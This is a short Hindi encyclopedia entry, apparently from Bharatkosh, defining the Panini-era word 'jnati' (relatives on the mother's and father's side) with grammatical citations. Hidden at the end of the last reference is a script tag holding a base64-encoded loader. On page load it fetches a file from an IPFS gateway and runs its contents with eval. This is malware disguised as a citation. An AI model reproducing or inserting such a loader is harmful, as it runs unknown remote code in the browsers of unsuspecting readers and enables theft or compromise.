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09:51, 11 अप्रैल 2018 का अवतरण
ज्ञाति पाणिनिकालीन भारतवर्ष में प्रचलित एक शब्द था।
माता-पिता के द्वारा अपने सभी संबंधित बांधव 'ज्ञाति' कहे गए हैं।[1] पाणिनि ने ज्ञाति को स्व का पर्याय कहा है।[2] संभवत यहां केवल पुत्र कुल के संबंधियों का ही ग्रहण है।[3]
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टीका टिप्पणी और संदर्भ
- ↑ 6/2/133, काशिका, ज्ञातयो मातृ पितृ संबंधिनो बांधवा:
- ↑ स्वमज्ञातिधनाख्यायाम्, 1/1/ 35
- ↑ पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 109 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>